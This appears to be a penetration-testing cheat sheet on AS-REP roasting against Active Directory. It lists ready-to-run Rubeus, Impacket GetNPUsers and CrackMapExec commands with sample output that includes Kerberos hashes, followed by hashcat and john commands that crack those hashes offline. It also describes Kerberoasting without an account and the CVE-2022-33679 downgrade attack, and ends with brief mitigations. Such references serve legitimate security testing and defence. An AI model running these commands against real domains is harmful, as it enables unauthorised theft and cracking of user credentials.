PenTest – Roasting – ASREP Roasting
If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
Requirements: – Accounts with the attribute DONT_REQ_PREAUTH (PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose)
- Rubeus
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast [*] Action: AS-REP roasting [*] Target User : TestOU3user [*] Target Domain : testlab.local [*] SamAccountName : TestOU3user [*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local [*] Using domain controller: testlab.local (192.168.52.100) [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' [*] Connecting to 192.168.52.100:88 [*] Sent 169 bytes [*] Received 1437 bytes [+] AS-REQ w/o preauth successful! [*] AS-REP hash: $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)... - GetNPUsers from Impacket Suite
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass [*] Getting TGT for svc-alfresco $krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4 # extract hashes root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast - CrackMapExec Module
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt LDAP 10.0.2.11 389 dc01 $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5
Using hashcat or john to crack the ticket.
# crack AS_REP messages with hashcat
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt
# crack AS_REP messages with john
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast
Mitigations: * All accounts must have « Kerberos Pre-Authentication » enabled (Enabled by Default).
Kerberoasting w/o domain account
In September 2022 a vulnerability was discovered by Charlie Clark, ST (Service Tickets) can be obtained through KRB_AS_REQ request without having to control any Active Directory account. If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an KRB_AS_REQ request and trick the request to ask for a ST instead of a encrypted TGT, by modifying the sname attribute in the req-body part of the request.
The technique is fully explained in this article: Semperis blog post.
You must provide a list of users because we don’t have a valid account to query the LDAP using this technique.
CVE-2022-33679
CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don’t need a client’s password..
Research from Project Zero : https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html
Requirements: – Accounts with the attribute DONT_REQ_PREAUTH (PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose)
- using CVE-2022-33679.py
Mitigations: * All accounts must have « Kerberos Pre-Authentication » enabled (Enabled by Default). * Disable RC4 cipher if possible.
References
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